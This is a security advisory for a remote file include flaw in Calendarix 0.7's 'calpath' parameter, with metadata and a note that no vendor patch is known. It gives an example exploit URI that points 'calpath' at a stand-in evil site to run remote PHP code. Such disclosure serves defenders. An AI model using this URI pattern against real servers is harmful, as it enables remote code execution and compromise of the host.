Calendarix 'calpath' Parameter Remote File Include Vulnerability

Bugtraq ID:	37673
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jan 07 2010 12:00AM
Updated:	Jan 07 2010 12:00AM
Credit:	TriCk aka Saywhat
Vulnerable:	Calendarix Calendarix 0.7
Not Vulnerable:

Calendarix 'calpath' Parameter Remote File Include Vulnerability

Calendarix is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

Calendarix 0.7 is vulnerable; other versions may also be affected.

Calendarix 'calpath' Parameter Remote File Include Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/cal_config.inc.php?calpath= EVIL SITE???

Calendarix 'calpath' Parameter Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Calendarix 'calpath' Parameter Remote File Include Vulnerability

References:

• Calendarix Home Page (Calendarix)